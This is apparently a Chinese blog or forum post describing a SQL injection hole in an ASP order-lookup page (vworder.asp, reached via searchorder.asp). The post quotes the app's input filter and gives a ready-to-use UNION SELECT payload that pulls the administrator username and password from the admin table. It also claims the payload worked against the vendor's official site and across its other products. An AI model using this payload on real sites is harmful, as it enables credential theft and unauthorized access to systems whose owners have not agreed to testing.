程序我感觉是抄袭的。不过又说不出来,到底抄袭的哪个程序。先随便看了下代码,发现到了每一个变量都用了
SafeRequest()这个函数来检查。看了下,才发现原来是这个作用。
Function SafeRequest(ParaName,ParaType)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "<center>参数" & ParaName & "必须为数字型,请正确操作!</center>"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
这个时候凡是遇到有SafeRequest()的我都没去看了。
就这样我找到了vworder.asp这个文件,这个文件里的变量没有做任何检查就执行了查询。
由于是post提交。所以我们来到searchorder.asp页面
由于是post提交。所以我们来到searchorder.asp页面
在订单号里输入:
1' and 1=2 union select 1,2,3,4,5,6,userpassword,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22,23,24 from admin where ''='
然后会发现管理员的用户密码被爆了出来~官网测试如下:
最后我发现官网所有的程序都有这个漏洞,但需要更改查询的语句才能爆出密码。